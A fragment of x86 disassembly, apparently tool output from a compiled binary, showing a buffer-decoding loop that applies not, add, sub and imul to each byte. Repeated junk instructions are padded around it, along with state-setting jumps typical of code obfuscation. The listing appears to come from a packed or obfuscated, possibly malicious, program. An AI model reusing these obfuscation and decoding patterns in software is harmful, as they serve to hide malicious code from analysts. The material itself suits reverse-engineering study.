mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], 0x77ef7f3f
jmp 0x10008385
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [eax], edx
mov eax, dword [ebp - 0x10]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
pop eax
push eax
mov eax, eax
xor eax, 0x85
nop
mov ecx, dword [edx]
mov edi, dword [esi]
not byte [edi]
pop eax
push eax
mov eax, eax
xor eax, 0x85
nop
add byte [edi], 0x63
sub byte [edi], 0x27
pop eax
push eax
mov eax, eax
xor eax, 0x85
nop
imul byte [edi]
inc edi
loop 0x1000834c
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10022880
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
mov dword [ebp - 0x1c], 0x2e6ff57d
jmp 0x1000821e